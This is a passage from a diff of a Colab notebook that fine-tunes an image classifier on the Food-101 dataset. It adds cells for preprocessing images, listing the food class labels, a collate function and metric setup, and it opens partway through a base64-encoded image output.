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\n"
+          },
+          "metadata": {
+            "needs_background": "light"
+          }
+        }
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Preprocessing the Data"
+      ],
+      "metadata": {
+        "id": "W8jdhJCQKCOA"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 10,
+      "metadata": {
+        "id": "9x5QuhV8IwXB"
+      },
+      "outputs": [],
+      "source": [
+        "def transform(examples):\n",
+        "  # convert all images to RGB format, then preprocessing it\n",
+        "  # using our image processor\n",
+        "  inputs = image_processor([img.convert(\"RGB\") for img in examples[\"image\"]], return_tensors=\"pt\")\n",
+        "  # we also shouldn't forget about the labels\n",
+        "  inputs[\"labels\"] = examples[\"label\"]\n",
+        "  return inputs"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 11,
+      "metadata": {
+        "id": "vY7oXLDZJBaX"
+      },
+      "outputs": [],
+      "source": [
+        "# use the with_transform() method to apply the transform to the dataset on the fly during training\n",
+        "dataset = ds.with_transform(transform)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 12,
+      "metadata": {
+        "id": "WbWrF63YQdsE",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "0e4c0b60-e9c1-48c8-d755-88d6d8cfb150"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "torch.Size([3, 224, 224])\n",
+            "6\n"
+          ]
+        }
+      ],
+      "source": [
+        "for item in dataset[\"train\"]:\n",
+        "  print(item[\"pixel_values\"].shape)\n",
+        "  print(item[\"labels\"])\n",
+        "  break"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 15,
+      "metadata": {
+        "id": "CnrUwcqwKTOV",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "fe094d75-c537-48e7-bfc9-38b8df4db9fa"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "['apple_pie',\n",
+              " 'baby_back_ribs',\n",
+              " 'baklava',\n",
+              " 'beef_carpaccio',\n",
+              " 'beef_tartare',\n",
+              " 'beet_salad',\n",
+              " 'beignets',\n",
+              " 'bibimbap',\n",
+              " 'bread_pudding',\n",
+              " 'breakfast_burrito',\n",
+              " 'bruschetta',\n",
+              " 'caesar_salad',\n",
+              " 'cannoli',\n",
+              " 'caprese_salad',\n",
+              " 'carrot_cake',\n",
+              " 'ceviche',\n",
+              " 'cheesecake',\n",
+              " 'cheese_plate',\n",
+              " 'chicken_curry',\n",
+              " 'chicken_quesadilla',\n",
+              " 'chicken_wings',\n",
+              " 'chocolate_cake',\n",
+              " 'chocolate_mousse',\n",
+              " 'churros',\n",
+              " 'clam_chowder',\n",
+              " 'club_sandwich',\n",
+              " 'crab_cakes',\n",
+              " 'creme_brulee',\n",
+              " 'croque_madame',\n",
+              " 'cup_cakes',\n",
+              " 'deviled_eggs',\n",
+              " 'donuts',\n",
+              " 'dumplings',\n",
+              " 'edamame',\n",
+              " 'eggs_benedict',\n",
+              " 'escargots',\n",
+              " 'falafel',\n",
+              " 'filet_mignon',\n",
+              " 'fish_and_chips',\n",
+              " 'foie_gras',\n",
+              " 'french_fries',\n",
+              " 'french_onion_soup',\n",
+              " 'french_toast',\n",
+              " 'fried_calamari',\n",
+              " 'fried_rice',\n",
+              " 'frozen_yogurt',\n",
+              " 'garlic_bread',\n",
+              " 'gnocchi',\n",
+              " 'greek_salad',\n",
+              " 'grilled_cheese_sandwich',\n",
+              " 'grilled_salmon',\n",
+              " 'guacamole',\n",
+              " 'gyoza',\n",
+              " 'hamburger',\n",
+              " 'hot_and_sour_soup',\n",
+              " 'hot_dog',\n",
+              " 'huevos_rancheros',\n",
+              " 'hummus',\n",
+              " 'ice_cream',\n",
+              " 'lasagna',\n",
+              " 'lobster_bisque',\n",
+              " 'lobster_roll_sandwich',\n",
+              " 'macaroni_and_cheese',\n",
+              " 'macarons',\n",
+              " 'miso_soup',\n",
+              " 'mussels',\n",
+              " 'nachos',\n",
+              " 'omelette',\n",
+              " 'onion_rings',\n",
+              " 'oysters',\n",
+              " 'pad_thai',\n",
+              " 'paella',\n",
+              " 'pancakes',\n",
+              " 'panna_cotta',\n",
+              " 'peking_duck',\n",
+              " 'pho',\n",
+              " 'pizza',\n",
+              " 'pork_chop',\n",
+              " 'poutine',\n",
+              " 'prime_rib',\n",
+              " 'pulled_pork_sandwich',\n",
+              " 'ramen',\n",
+              " 'ravioli',\n",
+              " 'red_velvet_cake',\n",
+              " 'risotto',\n",
+              " 'samosa',\n",
+              " 'sashimi',\n",
+              " 'scallops',\n",
+              " 'seaweed_salad',\n",
+              " 'shrimp_and_grits',\n",
+              " 'spaghetti_bolognese',\n",
+              " 'spaghetti_carbonara',\n",
+              " 'spring_rolls',\n",
+              " 'steak',\n",
+              " 'strawberry_shortcake',\n",
+              " 'sushi',\n",
+              " 'tacos',\n",
+              " 'takoyaki',\n",
+              " 'tiramisu',\n",
+              " 'tuna_tartare',\n",
+              " 'waffles']"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 15
+        }
+      ],
+      "source": [
+        "# extract the labels for our dataset\n",
+        "labels = ds[\"train\"].features[\"label\"].names\n",
+        "labels"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 13,
+      "metadata": {
+        "id": "ZUukexdrJGob"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "\n",
+        "def collate_fn(batch):\n",
+        "  return {\n",
+        "      \"pixel_values\": torch.stack([x[\"pixel_values\"] for x in batch]),\n",
+        "      \"labels\": torch.tensor([x[\"labels\"] for x in batch]),\n",
+        "  }"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Defining the Metrics"
+      ],
+      "metadata": {
+        "id": "mNT_iBYyKGAE"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 14,
+      "metadata": {
+        "id": "crXIbHCeJYFs",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 81,
+          "referenced_widgets": [
+            "a6f5330da3834963b3a47f9f9bb6a657",
+            "9a0cee1fc0644c768a1e7cfc7bb65469",
+            "c303a871150b40cf9209fc3f6da02e7d",
+            "9422c52eef304328a65551949c4eb982",
+            "7834179cb085439c96b265e34ca19309",
+            "2e7a21ab2dfc4858bd7d43451b16a179",
+            "9e3e30be4469468d8451dc6761d16bf6",
+            "343707c48e984b26a09c4adc25a510a5",
+            "444820c45f1241c59d0f7d1082e4c8d7",
+            "1933b7094ac4474abc1f48605ca4e0c4",
+            "db1683f3d8f44d4797dbc2a0f808bd2a",
+            "40eaac98a5b642b28298028de5b0a8f0",
+            "9185dd3b67964f1191210a7b104c4a88",
+            "5280d259979548ae9b302d3bfd06a1bd",
+            "1aa0c864c04d42329974b10668dd5eb7",
+            "a2699e131c4448d5bcc890f1f0c22c63",
+            "f40b643bece248458e3373e19f456325",
+            "dcf80cee15294d12aa9f5f2648a95028",
+            "1d0d738bddde42df9c434fe77f5c0307",
+            "c8aeb58e12b8427bb547022d7076a38b",
+            "04e02d2b23c149389db0cb519880b175",
+            "0f67af90cad747b99865abef12dd16a9"
+          ]
+        },
+        "outputId": "43655744-224f-43bd-ebc1-846a1ca66b81"
+      },
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading builder script:   0%|          | 0.00/4.20k [00:00<?, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "a6f5330da3834963b3a47f9f9bb6a657"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading builder script:   0%|          | 0.00/6.77k [00:00<?, ?B/s]"
+            ],
